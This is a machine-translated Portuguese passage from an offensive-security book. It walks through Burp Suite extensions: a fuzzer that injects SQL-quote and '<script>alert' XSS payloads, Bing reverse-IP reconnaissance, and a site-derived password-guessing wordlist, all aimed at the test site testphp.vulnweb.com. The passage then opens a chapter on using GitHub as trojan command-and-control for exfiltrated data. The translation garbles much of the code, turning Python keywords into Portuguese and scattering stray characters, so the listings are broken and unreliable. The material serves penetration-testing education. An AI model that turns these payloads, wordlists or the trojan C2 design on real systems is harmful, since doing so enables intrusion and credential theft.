* UI do Intruder quando o usuário opta por usar cargas * geradas por


extensão.

*
*
@return O nome do gerador de carga útil.
*/
ÿ String getGeneratorName();

/**
* Este método é usado pelo Burp quando o usuário inicia um ataque Intruder
* que usa este gerador de carga útil.

*
@param attack
* Um objeto IIntruderAttack que pode ser consultado para obter detalhes
* sobre o ataque em que o gerador de payload será utilizado.

* @return Uma nova instância de


* IIntruderPayloadGenerator que será usado para gerar
* cargas úteis para o ataque.
*/

ÿ IIntruderPayloadGenerator createNewInstance (ataque IIntruderAttack);


}

A primeira parte da documentação ÿ nos diz para registrar nossa extensão


corretamente no Burp. Vamos estender a classe Burp principal, bem como a classe
IIntruderPayloadGeneratorFactory . A seguir vemos que Burp espera que duas funções estejam
presentes em nossa classe principal. A função getGeneratorName ÿ será chamada pelo Burp
para recuperar o nome da nossa extensão e espera-se que retornemos uma string. O
createNewInstance
A função ÿ espera que retornemos uma instância do IIntruderPayloadGenerator, que será uma
segunda classe que teremos que criar.
Agora vamos implementar o código Python real para atender a esses requisitos e, em
seguida, veremos como a classe IIntruderPayloadGenerator é adicionada. Abra um novo arquivo
Python, nomeie-o como bhp_fuzzer.py e digite o seguinte código:

ÿ da importação de arroto IBurpExtender


da importação de arroto IIntruderPayloadGeneratorFactory
de arroto importar IIntruderPayloadGenerator

de java.util lista de importação, ArrayList

importar aleatoriamente

ÿ classe BurpExtender(IBurpExtender, IIntruderPayloadGeneratorFactory): def


registerExtenderCallbacks(self, retornos de chamada):
self._callbacks = retornos de chamada
self._helpers=callbacks.getHelpers()

ÿ retornos de chamada.registerIntruderPayloadGeneratorFactory(self)

retornar

Estendendo o proxy Burp 79

www.it-ebooks.info
Machine Translated by Google

ÿ def getGeneratorName(self): return


"Gerador de carga útil BHP"

ÿ def createNewInstance(self, ataque): return


BHPFuzzer(self, ataque)

Portanto, este é o esqueleto simples do que precisamos para satisfazer o


primeiro conjunto de requisitos da nossa extensão. Temos que primeiro importar
a classe IBurpExtender ÿ, que é um requisito para cada extensão que escrevemos.
Seguimos importando nossas classes necessárias para criar um gerador de carga útil
do Intruder. A seguir definimos nossa classe BurpExtender ÿ, que estende as classes
IBurpExtender e IIntruderPayloadGeneratorFactory . Em seguida, usamos a função
RegisterIntruderPayloadGeneratorFactory ÿ para registrar nossa classe para que a
ferramenta Intruder saiba que podemos gerar cargas úteis. Em seguida, implementamos
a função getGeneratorName ÿ para simplesmente retornar o nome do nosso gerador
de carga útil. O último passo é a função createNewInstance ÿ que recebe o parâmetro
de ataque e retorna uma instância do IIntruderPayloadGenerator
classe, que chamamos de BHPFuzzer.
Vamos dar uma olhada na documentação do IIntruderPayloadGenerator
class para sabermos o que implementar.

/**
* Esta interface é usada para geradores de carga útil personalizados do Intruder.
* Extensões
*que registraram um
* IIntruderPayloadGeneratorFactory deve retornar uma nova instância de
* esta interface quando necessária como parte de um novo ataque de intrusão.
*/

interface pública IIntruderPayloadGenerator


{
/**
* Este método é usado pelo Burp para determinar se o gerador de
*
carga útil é capaz de fornecer cargas adicionais.
*
* @return Extensões devem retornar
* false quando todas as cargas disponíveis foram esgotadas,
*caso contrário verdadeiro
*/
ÿ boolean hasMorePayloads();

/**
* Este método é usado pelo Burp para obter o valor do próximo payload.
*
*
@param baseValue O valor base da posição atual da carga útil.
* Este valor pode ser nulo se o conceito de valor base não for *
aplicável (por exemplo, em um ataque de aríete).
*
@return A próxima carga a ser usada no ataque.
*/
ÿ byte[] getNextPayload(byte[] baseValue);

80 Capítulo 6
www.it-ebooks.info
Machine Translated by Google

/**
* Este método é usado pelo Burp para redefinir o estado da carga útil
*
gerador para que a próxima chamada para
* getNextPayload() retorna a primeira carga novamente. Esse
* o método será invocado quando um ataque usar a mesma carga útil
*
gerador para mais de uma posição de carga útil, por exemplo, em um ataque
*
de atirador furtivo.
*/
ÿ void reset(); }

OK! Portanto, precisamos implementar a classe base e ela precisa expor três funções. A
primeira função, hasMorePayloads ÿ, existe simplesmente para decidir se as solicitações
mutadas devem continuar de volta ao Burp Intruder.
Usaremos apenas um contador para lidar com isso e, quando o contador estiver no máximo
que definimos, retornaremos False para que não sejam gerados mais casos de difusão. A função
getNextPayload ÿ receberá a carga original da solicitação HTTP que você capturou. Ou, se você
selecionou diversas áreas de carga útil na solicitação HTTP, receberá apenas os bytes solicitados
para difusão (mais sobre isso posteriormente). Esta função nos permite difundir o caso de teste
original e então retorná-lo para que Burp envie o novo valor difuso. A última função, reset ÿ, existe
para que, se gerarmos um conjunto conhecido de solicitações difusas (digamos, cinco delas), então,
para cada posição de carga designada na guia Intruder, iremos iterar pelos cinco valores difusos.

Nosso difusor não é tão exigente e sempre continuará difundindo aleatoriamente cada
solicitação HTTP. Agora vamos ver como isso fica quando o implementamos em Python. Adicione
o seguinte código ao final de bhp_fuzzer.py:

ÿ classe BHPFuzzer(IIntruderPayloadGenerator): def


__init__(self, extensor, ataque):
self._extender = extensor
self._helpers = extensor._helpers
self._attack = ataque
ÿ self.max_payloads = 10
self.num_iterations = 0

retornar

ÿ def hasMorePayloads(self): se
self.num_iterations == self.max_payloads:
retorna falso
outro:
retornar verdadeiro

ÿ def getNextPayload(self,carga_atual):

# converte em uma string


ÿ carga útil = "".join(chr(x) para x em current_payload)

Estendendo o proxy Burp 81

www.it-ebooks.info
Machine Translated by Google

# chame nosso modificador simples para confundir o POST


ÿ carga útil = self.mutate_payload(carga útil)

# aumenta o número de tentativas de difusão


ÿ self.num_iterations += 1

carga útil de retorno

def redefinir (auto):


self.num_iterations = 0 retorno

Começamos definindo nossa classe BHPFuzzer ÿ que estende a classe


IIntruderPayloadGenerator. Definimos as variáveis de classe necessárias, bem como
adicionamos as variáveis max_payloads ÿ e num_iterations para que possamos
acompanhar quando informar ao Burp que terminamos a difusão. É claro que você
pode deixar a extensão rodar para sempre, se quiser, mas para testes deixaremos isso como está.
Em seguida, implementamos a função hasMorePayloads ÿ que simplesmente verifica se atingimos
o número máximo de iterações fuzzing. Você pode modificar isso para executar continuamente a
extensão sempre retornando True.
A função getNextPayload ÿ é aquela que recebe o payload HTTP original e é aqui que faremos o
fuzzing. A variável current_payload chega como uma matriz de bytes, então convertemos isso em uma
string ÿ e depois a passamos para nossa função fuzzing mutate_payload ÿ. Em seguida, incrementamos
num_iterations
variável ÿ e retorne a carga mutada. Nossa última função é o reset
função que retorna sem fazer nada.
Agora vamos apresentar a função de difusão mais simples do mundo, que você
pode modificar como quiser. Como esta função está ciente da carga útil atual, se você
tiver um protocolo complicado que precisa de algo especial, como uma soma de verificação
CRC no início da carga útil ou um campo de comprimento, você pode fazer esses
cálculos dentro desta função antes de retornar, o que torna extremamente flexível.
Adicione o seguinte código a bhp_fuzzer.py, certificando-se de que a função mutate_payload
esteja incluída em nossa classe BHPFuzzer :

def mutate_payload(self,original_payload):
# escolha um modificador simples ou até mesmo chame um script externo
selecionador = random.randint(1,3)

# seleciona um deslocamento aleatório na carga útil para sofrer mutação


deslocamento = random.randint(0,len(carga_payload original)-1)
carga útil = carga_payload original[:offset]

# deslocamento aleatório insere uma tentativa de injeção de SQL


se selecionador ==
"'"
1: carga útil +=

# bloqueia uma tentativa de


XSS em if picker == 2:
carga útil += "<script>alert('BHP!');</script>"

82 Capítulo 6
www.it-ebooks.info
Machine Translated by Google

# repete um pedaço da carga original com um número aleatório


se selecionador == 3:

chunk_length = random.randint(len(carga útil[offset:]),len(carga útil)-1)


repetidor = random.randint(1,10)

para i no intervalo (repetidor):


carga útil += carga útil_original[offset:offset+chunk_length]

# adiciona os bits restantes da carga útil +=


original_payload[offset:]

carga útil de retorno

Este fuzzer simples é bastante autoexplicativo. Escolheremos aleatoriamente


três mutadores: um teste simples de injeção de SQL com aspas simples, uma tentativa de XSS
e, em seguida, um modificador que seleciona um pedaço aleatório na carga original e o repete um
número aleatório de vezes. Agora temos uma extensão Burp Intruder que podemos usar. Vamos
dar uma olhada em como podemos carregá-lo.

Chutando os pneus

Primeiro temos que carregar nossa extensão e ter certeza de que não há
erros. Clique na guia Extender no Burp e, em seguida, clique no botão Adicionar .
Aparece uma tela que permitirá que você aponte Burp para o fuzzer. Certifique-
se de definir as mesmas opções mostradas na Figura 6-3.

Figura 6-3: Configurando o Burp para carregar nossa extensão

Estendendo o proxy Burp 83

www.it-ebooks.info
Machine Translated by Google

Clique em Avançar e o Burp começará a carregar nossa extensão. Se tudo correr


bem, o Burp deverá indicar que a extensão foi carregada com sucesso. Se houver erros,
clique na guia Erros , depure quaisquer erros de digitação e clique no botão Fechar .
A tela do seu Extender agora deve se parecer com a Figura 6-4.

Figura 6-4: Burp Extender mostrando que nossa extensão está carregada

Você pode ver que nossa extensão está carregada e que Burp identificou que um
gerador de carga útil do Intruder está registrado. Agora estamos prontos para aproveitar
nossa extensão em um ataque real. Certifique-se de que seu navegador esteja
configurado para usar Burp Proxy como proxy localhost na porta 8080 e vamos
atacar o mesmo aplicativo da web Acunetix do Capítulo 5. Basta navegar para:

http://testphp.vulnweb.com

84 Capítulo 6
www.it-ebooks.info
Machine Translated by Google

Por exemplo, usei a pequena barra de pesquisa do site deles para enviar uma pesquisa
pela string “teste”. A Figura 6-5 mostra como posso ver essa solicitação na guia Histórico HTTP da
guia Proxy e cliquei com o botão direito na solicitação para enviá-la ao Intruder.

Figura 6-5: Selecionando uma solicitação HTTP para enviar ao Intruder

Agora mude para a guia Intruder e clique na guia Posições . Uma tela aparece mostrando

cada parâmetro de consulta destacado. Este é o Burp identificando os pontos onde deveríamos estar
confusos. Você pode tentar mover os delimitadores de carga útil ou selecionar toda a carga útil para
difusão, se desejar, mas em nosso caso, vamos deixar o Burp decidir onde iremos fazer a difusão.
Para maior clareza, consulte a Figura 6.6, que mostra como funciona o destaque da carga útil.

Agora clique na guia Cargas úteis . Nesta tela, clique no menu suspenso Tipo de carga útil e
selecione Gerado por extensão. Na seção Opções de carga útil, clique no botão Selecionar gerador...
e escolha Gerador de carga útil BHP no menu suspenso. Sua tela Payload agora deve se parecer
com a Figura 6-7.

Estendendo o proxy Burp 85

www.it-ebooks.info
Machine Translated by Google

Figura 6-6: Burp Intruder destacando parâmetros de carga útil

Figura 6-7: Usando nossa extensão fuzzing como gerador de carga útil

86 Capítulo 6
www.it-ebooks.info
Machine Translated by Google

Agora estamos prontos para enviar nossas solicitações. Na parte superior da


barra de menu do Burp, clique em Intruder e selecione Iniciar ataque. Isso inicia o
envio de solicitações difusas e você poderá analisar rapidamente os resultados. Quando
executei o fuzzer, recebi a saída conforme mostrado na Figura 6-8.

Figura 6-8: Nosso fuzzer rodando em um ataque de intrusão

Como você pode ver no aviso na linha 61 da resposta, na solicitação 5,


descobrimos o que parece ser uma vulnerabilidade de injeção de SQL.
Claro, nosso fuzzer é apenas para fins de demonstração, mas você
fique surpreso com o quão eficaz isso pode ser para fazer com que um aplicativo da
web gere erros, divulgue caminhos de aplicativos ou se comporte de maneiras que
muitos outros scanners podem não perceber. O importante é entender como conseguimos
alinhar nossa extensão personalizada aos ataques do Intruder. Agora vamos criar uma
extensão que nos ajudará a realizar algum reconhecimento estendido em um servidor
web.

Bing para arrotar


Quando você ataca um servidor web, não é incomum que aquela única máquina
atenda a vários aplicativos web, alguns dos quais você talvez não conheça. Claro, você
deseja descobrir esses nomes de host expostos no mesmo servidor web porque eles
podem fornecer uma maneira mais fácil de obter um shell. Não é raro encontrar uma
aplicação web ou mesmo recursos de desenvolvimento inseguros

Estendendo o proxy Burp 87

www.it-ebooks.info
Machine Translated by Google

localizado na mesma máquina que seu alvo. O mecanismo de pesquisa Bing da Microsoft
possui recursos de pesquisa que permitem consultar o Bing sobre todos os sites
encontrados em um único endereço IP (usando o modificador de pesquisa “IP”). O Bing
também informará todos os subdomínios de um determinado domínio (usando o modificador “domínio”).
Agora poderíamos, é claro, usar um raspador para enviar essas consultas ao Bing e
depois copiar o HTML nos resultados, mas isso seria falta de educação (e também violaria
os termos de uso da maioria dos mecanismos de pesquisa). Para evitar problemas,
podemos usar a API1 do Bing para enviar essas consultas de forma programática e, em
seguida, analisar nós mesmos os resultados. Não implementaremos nenhuma adição
sofisticada à GUI do Burp (além de um menu de contexto) com esta extensão;
simplesmente enviamos os resultados para o Burp cada vez que executamos uma
consulta, e quaisquer URLs detectados no escopo de destino do Burp serão adicionados
automaticamente. Como já orientei você sobre como ler a documentação da API Burp e
traduzi-la para Python, vamos direto ao código.
Abra bhp_bing.py e digite o seguinte código:

da importação de arroto IBurpExtender


de arroto importar IContextMenuFactory

de javax.swing importar JMenuItem


de java.util lista de importação, ArrayList
do URL de importação java.net

soquete de importação
importar URLlib
importar JSON
importar re
importar base64
ÿ bing_api_key = "SUA CHAVE"

ÿ classe BurpExtender(IBurpExtender, IContextMenuFactory): def


registerExtenderCallbacks(self, retornos de chamada):
self._callbacks = retornos de chamada
self._helpers=callbacks.getHelpers()
self.context = Nenhum

# configuramos nossa extensão


callbacks.setExtensionName("BHP Bing")
ÿ retornos de chamada.registerContextMenuFactory(self)

retornar

def createMenuItems(self, menu_contexto):


self.context=menu_contexto
lista_menu = ArrayList()
ÿ menu_list.add(JMenuItem("Enviar para Bing", actionPerformed=self.bing_¬
menu))
retornar lista_menu

1. Visite http:// www.bing.com/ dev/ en-us/ dev-center/ para configurar sua própria chave de API gratuita do Bing.

88 Capítulo 6

www.it-ebooks.info
Machine Translated by Google

Esta é a primeira parte da nossa extensão do Bing. Certifique-se de ter sua


chave API do Bing colada no lugar ÿ; você tem permissão para cerca de 2.500
pesquisas gratuitas por mês. Começamos definindo nossa classe BurpExtender ÿ
que implementa a interface padrão IBurpExtender e o IContextMenuFactory, que nos
permite fornecer um menu de contexto quando um usuário clica com o botão direito em
uma solicitação no Burp. Registramos nosso manipulador de menu ÿ para que
possamos determinar em qual site o usuário clicou, o que nos permite construir nossas consultas no B
A última etapa é configurar nossa função createMenuItem , que receberá um objeto
IContextMenuInvocation que usaremos para determinar qual solicitação HTTP foi
selecionada. A última etapa é renderizar nosso item de menu e fazer com que a função
bing_menu manipule o evento click ÿ. Agora vamos adicionar a funcionalidade para
realizar a consulta do Bing, gerar os resultados e adicionar quaisquer hosts virtuais
descobertos ao escopo de destino do Burp.

def bing_menu(self,evento):

# pegue os detalhes do que o usuário clicou


ÿ http_traffic = self.context.getSelectedMessages()

print "%d solicitações destacadas" % len(http_traffic)

para tráfego em http_traffic:


http_service = tráfego.getHttpService()
hospedar
= http_service.getHost()

print "Host selecionado pelo usuário: %s" % host

self.bing_search(host)

retornar

def bing_search(self,host):

# verifica se temos um IP ou nome de host


is_ip = re.match("[0-9]+(?:\.[0-9]+){3}", host)

ÿ se is_ip: ip_address
= host
domínio = Falso
outro:
endereço_ip = socket.gethostbyname(host)
domínio = Verdadeiro

bing_query_string = "'ip:%s'"% endereço_ip


ÿ self.bing_query(bing_query_string)

se domínio:
bing_query_string = "'domínio:%s'"% host
ÿ self.bing_query(bing_query_string)

Estendendo o proxy Burp 89

www.it-ebooks.info
Machine Translated by Google

Nossa função bing_menu é acionada quando o usuário clica no contexto


item de menu que definimos. Recuperamos todas as solicitações HTTP destacadas
ÿ e, em seguida, recuperamos a parte do host da solicitação para cada uma e a
enviamos para nossa função bing_search para processamento adicional. A função
bing_search primeiro determina se recebemos um endereço IP ou um nome de host
ÿ. Em seguida, consultamos o Bing para todos os hosts virtuais que possuem o mesmo
endereço IP ÿ que o host contido na solicitação HTTP que foi clicada com o botão
direito. Se um domínio foi passado para nossa extensão, também fazemos uma
pesquisa secundária ÿ para quaisquer subdomínios que o Bing possa ter indexado.
Agora vamos instalar o encanamento para usar a API HTTP do Burp para enviar a
solicitação ao Bing e analisar os resultados. Adicione o código a seguir, garantindo
que você esteja tabulado corretamente em nossa classe BurpExtender , ou você encontrará erros.

def bing_query(self,bing_query_string):

print "Realizando pesquisa no Bing: %s" % bing_query_string

# codifica nossa consulta


quoted_query=urllib.quote(bing_query_string)

http_request = "GET https://api.datamarket.azure.com/Bing/Search/Web?$¬


format=json&$top=20&Query=%s HTTP/1.1\r\n" % quoted_query
http_request += "Host: api.datamarket.azure.com\r\n"
http_request += "Conexão: fechar\r\n"
ÿ http_request += "Autorização: Básico %s\r\n" % base64.b64encode(":%s" % ¬ bing_api_key)
http_request
+= "User-Agent: Blackhat Python\r\n\r\n"

ÿ json_body = self._callbacks.makeHttpRequest("api.datamarket.azure.com",¬
443,True,http_request).tostring()

ÿ json_body = json_body.split("\r\n\r\n",1)[1]

tentar:

ÿ r = json.loads(json_body)

if len(r["d"]["resultados"]):
para site em r["d"]["resultados"]:

ÿ "*" * 100
imprimir imprimir site['Título']
imprimir site['Url']
imprimir site['Descrição']
"*" * 100
impressão

j_url = URL(site['Url'])

ÿ se não for self._callbacks.isInScope(j_url): print


"Adicionando ao escopo Burp"
self._callbacks.includeInScope(j_url)

90 Capítulo 6

www.it-ebooks.info
Machine Translated by Google

exceto:
imprimir "Nenhum resultado do Bing"
passar

retornar

OK! A API HTTP do Burp exige que construamos todo o HTTP


request como uma string antes de enviá-la e, em particular, você pode ver que
precisamos codificar em base64 ÿ nossa chave de API do Bing e usar a autenticação básica
HTTP para fazer a chamada de API. Em seguida, enviamos nossa solicitação HTTP ÿ
para os servidores da Microsoft. Quando a resposta retornar, teremos a resposta inteira,
incluindo os cabeçalhos, então dividimos os cabeçalhos ÿ e depois os passamos para nosso
analisador JSON ÿ. Para cada conjunto de resultados, geramos algumas informações sobre
o site que descobrimos ÿ e se o site descoberto não estiver no escopo de destino ÿ do Burp,
nós o adicionamos automaticamente. Esta é uma ótima combinação de uso da API Jython e
Python puro em uma extensão Burp para fazer trabalho de reconhecimento adicional ao atacar
um alvo específico. Vamos dar uma volta.

Chutando os pneus
Use o mesmo procedimento que usamos para nossa extensão fuzzing para fazer a extensão
de pesquisa do Bing funcionar. Quando estiver carregado, navegue até http:// testphp.vulnweb
.com/, e clique com o botão direito na solicitação GET que você acabou de emitir. Se a
extensão for carregada corretamente, você deverá ver a opção de menu Enviar para Bing
exibida conforme mostrado na Figura 6-9.

Figura 6-9: Nova opção de menu mostrando nossa extensão

Estendendo o proxy Burp 91

www.it-ebooks.info
Machine Translated by Google

Ao clicar nesta opção de menu, dependendo da saída escolhida ao carregar a


extensão, você deverá começar a ver os resultados do Bing, conforme mostrado na
Figura 6-10.

Figura 6-10: Nossa extensão fornecendo resultados da pesquisa da API do Bing

E se você clicar na guia Target no Burp e selecionar Scope, verá novos


itens adicionados automaticamente ao nosso escopo de destino, conforme
mostrado na Figura 6-11. O escopo de destino limita atividades como ataques,
spidering e varreduras apenas aos hosts definidos.

92 Capítulo 6

www.it-ebooks.info
Machine Translated by Google

Figura 6-11: Mostrando como os hosts descobertos são adicionados automaticamente ao escopo de destino do Burp

Transformando o conteúdo do site em senha dourada


Muitas vezes, a segurança se resume a uma coisa: senhas de usuários. É triste, mas é
verdade. Para piorar as coisas, quando se trata de aplicativos web, especialmente os
personalizados, é muito comum descobrir que bloqueios de contas não são
implementados. Em outros casos, senhas fortes não são aplicadas. Nesses casos,
uma sessão online de adivinhação de senha como a do capítulo anterior pode ser
apenas a passagem para obter acesso ao site.
O truque para adivinhar a senha online é obter a lista de palavras correta. Você não
pode testar 10 milhões de senhas se estiver com pressa, então você precisa criar uma
lista de palavras direcionada ao site em questão. Claro, existem scripts na distribuição Kali
Linux que rastreiam um site e geram uma lista de palavras com base no conteúdo do
site. Porém, se você já usou o Burp Spider para rastrear o site, por que enviar mais
tráfego apenas para gerar uma lista de palavras? Além disso, esses scripts geralmente
têm vários argumentos de linha de comando para lembrar. Se você for como eu, já
memorizou argumentos de linha de comando suficientes para impressionar seus amigos,
então vamos fazer o Burp fazer o trabalho pesado.

Estendendo o proxy Burp 93

www.it-ebooks.info
Machine Translated by Google

Abra bhp_wordlist.py e digite este código.

da importação de arroto IBurpExtender


da importação de arroto IContextMenuFactory

de javax.swing importar JMenuItem de java.util


importar Lista, ArrayList de java.net importar URL

importar re
de datetime importar datetime de
HTMLParser importar HTMLParser

classe TagStripper(HTMLParser): def


__init__(self):
HTMLParser.__init__(self)
self.page_text = []

def handle_data(self, dados):


ÿ self.page_text.append(dados)

def handle_comment(self, dados):


ÿ self.handle_data(dados)

def strip(self, html): self.feed(html)


return "
ÿ ".join(self.page_text)

classe BurpExtender (IBurpExtender, IContextMenuFactory): def


RegisterExtenderCallbacks (self, retornos de chamada): self._callbacks
= retornos de chamada self._helpers =
callbacks.getHelpers() self.context = Nenhum self.hosts = set()

# Comece com algo que sabemos ser comum


ÿ self.wordlist = set(["password"])

# configuramos nossa extensão


callbacks.setExtensionName("BHP Wordlist")
callbacks.registerContextMenuFactory(self)

retornar

def createMenuItems(self, context_menu): self.context


= context_menu menu_list =
ArrayList()
menu_list.add(JMenuItem("Criar lista de palavras", ¬
actionPerformed=self.wordlist_menu))

retornar lista_menu

94 Capítulo 6
www.it-ebooks.info
Machine Translated by Google

O código nesta listagem já deve ser bastante familiar. Começamos importando os


módulos necessários. Uma classe auxiliar TagStripper nos permitirá retirar as tags HTML
das respostas HTTP que processaremos posteriormente.
Sua função handle_data armazena o texto da página ÿ em uma variável de membro.
Também definimos handle_comment porque queremos que as palavras armazenadas nos
comentários do desenvolvedor também sejam adicionadas à nossa lista de senhas. Nos
bastidores, handle_comment apenas chama handle_data ÿ (caso queiramos mudar a forma
como processamos o texto da página no futuro).
A função strip alimenta o código HTML para a classe base, HTMLParser, e retorna o
texto da página resultante ÿ, que será útil mais tarde. O resto é quase exatamente igual ao
início do script bhp_bing.py que acabamos de terminar. Mais uma vez, o objetivo é criar um
item de menu de contexto na UI do Burp.
A única novidade aqui é que armazenamos nossa lista de palavras em um conjunto, o que garante que
não introduzimos palavras duplicadas à medida que avançamos. Inicializamos o conjunto com a
senha favorita de todos, “senha” ÿ, apenas para garantir que ela acabe em nossa lista final.

Agora vamos adicionar a lógica para pegar o tráfego HTTP selecionado do Burp e
transforme-o em uma lista de palavras base.

def wordlist_menu(self,evento):

# pegue os detalhes do que o usuário clicou


http_traffic = self.context.getSelectedMessages()

para tráfego em http_traffic:


http_service = tráfego.getHttpService()
hospedar
= http_service.getHost()

ÿ self.hosts.add(host)

http_response = tráfego.getResponse()

se http_response:
ÿ self.get_words(http_response)

self.display_wordlist()
retornar

def get_words(self, http_response):

cabeçalhos, corpo = http_response.tostring().split('\r\n\r\n', 1)

# pular respostas que não sejam de texto


ÿ if headers.lower().find("tipo de conteúdo: texto") == -1:
retornar

tag_stripper = TagStripper()
ÿ page_text=tag_stripper.strip(corpo)

Estendendo o proxy Burp 95

www.it-ebooks.info
Machine Translated by Google

ÿ palavras = re.findall("[a-zA-Z]\w{2,}", page_text)

por palavra em palavras:

# filtra strings longas


se len(palavra) <= 12:
ÿ self.wordlist.add(palavra.lower())

retornar

Nossa primeira tarefa é definir a função wordlist_menu , que é nosso manipulador


de cliques no menu. Ele salva o nome do host respondente ÿ para uso posterior e, em
seguida, recupera a resposta HTTP e a alimenta em nossa função get_words ÿ. A partir
daí, get_words separa o cabeçalho do corpo da mensagem, verificando se estamos apenas
tentando processar respostas baseadas em texto ÿ. Nossa classe TagStripper ÿ retira o
código HTML do restante do texto da página. Usamos uma expressão regular para encontrar
todas as palavras que começam com um caractere alfabético seguido por dois ou mais
caracteres de “palavra” ÿ. Após fazer o corte final, as palavras bem-sucedidas são salvas
em letras minúsculas na lista de palavras ÿ.

Agora vamos completar o script dando-lhe a capacidade de alterar e exibir a lista de


palavras capturada.

def mangle(self, palavra):


ano =datahora.agora().ano
ÿ sufixos = ["", "1", "!", ano]
mutilado = []

para senha em (word, word.capitalize()):


para sufixo em sufixos:
ÿ mutilado.append("%s%s" % (senha, sufixo))

retornar mutilado

def display_wordlist(self):

ÿ print "#!comment: Lista de palavras BHP para site(s) %s" % ", ".join(self.hosts)

para palavra classificada (self.wordlist):


para senha em self.mangle(word):
imprimir senha

retornar

96 Capítulo 6
www.it-ebooks.info
Machine Translated by Google

Muito legal! A função mangle pega uma palavra base e a transforma em uma série de
tentativas de senha com base em algumas “estratégias” comuns de criação de senha. Neste
exemplo simples, criamos uma lista de sufixos para colocar no final da palavra base, incluindo o
ano atual ÿ. Em seguida, percorremos cada sufixo e o adicionamos à palavra base ÿ para criar
uma tentativa de senha exclusiva. Fazemos outro loop com uma versão maiúscula da palavra
base para garantir. Na função display_wordlist , imprimimos um comentário no estilo “João, o
Estripador” ÿ para nos lembrar quais sites foram usados para gerar esta lista de palavras. Em
seguida, mutilamos cada palavra base e imprimimos os resultados. É hora de levar esse bebê para
dar uma volta.

Chutando os pneus

Clique na guia Extender no Burp, clique no botão Add e use o mesmo procedimento que
usamos para nossas extensões anteriores para fazer a extensão Wordlist funcionar. Depois de
carregá-lo, navegue até http:// testphp.vulnweb.com/.
Clique com o botão direito no site no painel Mapa do Site e selecione Spider this host,
conforme mostrado na Figura 6-12.

Figura 6-12: Spidering em um host com Burp

Estendendo o proxy Burp 97

www.it-ebooks.info
Machine Translated by Google

Depois que o Burp visitar todos os links do site de destino, selecione todas as
solicitações no painel superior direito, clique com o botão direito nelas para abrir o menu
de contexto e selecione Criar lista de palavras, conforme mostrado na Figura 6-13.

Figura 6-13: Enviando as solicitações para a extensão BHP Wordlist

Agora verifique a guia de saída da extensão. Na prática, salvaríamos sua saída em


um arquivo, mas para fins de demonstração exibimos a lista de palavras no Burp, conforme
mostrado na Figura 6-14.
Agora você pode alimentar esta lista de volta no Burp Intruder para executar o
ataque real de adivinhação de senha.

98 Capítulo 6

www.it-ebooks.info
Machine Translated by Google

Figura 6-14: Uma lista de senhas baseada no conteúdo do site de destino

Agora demonstramos um pequeno subconjunto da API Burp, incluindo a capacidade


de gerar nossas próprias cargas de ataque, bem como construir extensões que interagem
com a UI do Burp. Durante um teste de penetração, você frequentemente se deparará
com problemas específicos ou necessidades de automação, e a API do Burp Extender
fornece uma interface excelente para codificar do seu jeito, ou pelo menos evitar que você
tenha que copiar e colar continuamente os dados capturados do Burp para outra ferramenta.

Neste capítulo, mostramos como construir uma excelente ferramenta de reconhecimento para adicionar ao
seu cinto de ferramentas Burp. Como está, esta extensão recupera apenas os 20 principais resultados do Bing, portanto,
como lição de casa, você pode trabalhar em fazer solicitações adicionais para garantir a recuperação de todos os
resultados. Isso exigirá uma pequena leitura sobre a API do Bing e a escrita de algum código para lidar com o
conjunto maior de resultados. É claro que você poderia então dizer ao Burp spider para rastrear cada um dos novos
sites que você descobrir e procurar vulnerabilidades automaticamente!

Estendendo o proxy Burp 99

www.it-ebooks.info
Machine Translated by Google

www.it-ebooks.info
Machine Translated by Google

7
Comando G itH ub
e controle

Um dos aspectos mais desafiadores da criação de uma estrutura de trojan sólida é

controlar, atualizar e receber dados de forma assíncrona de seus implantes implantados.

É crucial ter uma maneira relativamente universal de enviar código para seus trojans

remotos. Essa flexibilidade é necessária não apenas para controlar seus cavalos de

Tróia para executar tarefas diferentes, mas também porque você pode ter código
adicional específico para o sistema operacional de destino.

Portanto, embora os hackers tenham tido muitos meios criativos de comando e controle
Ao longo dos anos, como o IRC ou mesmo o Twitter, tentaremos um serviço realmente
projetado para código. Usaremos o GitHub como uma forma de armazenar informações de
configuração do implante e dados exfiltrados, bem como quaisquer módulos que o implante
precise para executar tarefas. Também exploraremos como hackear o mecanismo de
importação de biblioteca nativa do Python para que, à medida que você cria novos módulos
de trojan, seus implantes possam tentar recuperá-los automaticamente e quaisquer
bibliotecas dependentes diretamente de seu repositório também. Tenha em mente que seu
tráfego para o GitHub será criptografado por SSL, e há muito poucas empresas que eu vi
que bloqueiam ativamente o próprio GitHub.

www.it-ebooks.info
Machine Translated by Google

Uma coisa a observar é que usaremos um repositório público para realizar esses testes;
se quiser gastar o dinheiro, você pode obter um repositório privado para que olhares indiscretos não vejam o
que você está fazendo. Além disso, todos os seus módulos, configurações e dados podem ser criptografados
usando pares de chaves pública/privada, o que demonstro no Capítulo 9. Vamos começar!

Configurando uma conta GitHub


Se você não possui uma conta GitHub, acesse GitHub.com, inscreva-se e crie um novo repositório chamado
capítulo7. Em seguida, você desejará instalar a biblioteca Python GitHub API1 para poder automatizar sua
interação com seu repositório. Você pode fazer isso na linha de comando fazendo o seguinte:

pip instalar github3.py

Se você ainda não fez isso, instale o cliente git. Faço meu desenvolvimento a partir de uma máquina
Linux, mas funciona em qualquer plataforma. Agora vamos criar uma estrutura básica para nosso repositório.
Faça o seguinte na linha de comando, adaptando conforme necessário se você estiver no Windows:

troiano $ mkdir
troiano $ cd
$ git calor
$ módulos mkdir
$ configuração mkdir
$ mkdir dados
$ toque em módulos/.gitignore
$ toque em configuração/.gitignore
$ toque em dados/.gitignore
$ git add.
$ git commit -m "Adicionando estrutura de repositório para trojan."
$ git remote add origin https://github.com/<seunomedeusuário>/chapter7.git
$ git push mestre de origem

Aqui, criamos a estrutura inicial do nosso repositório. O diretório config contém arquivos de configuração
que serão identificados exclusivamente para cada trojan. Ao implantar trojans, você deseja que cada um
execute tarefas diferentes e cada trojan verificará seu arquivo de configuração exclusivo. O diretório de módulos
contém qualquer código modular que você deseja que o trojan pegue e execute. Implementaremos um hack
de importação especial para permitir que nosso trojan importe bibliotecas diretamente de nosso repositório
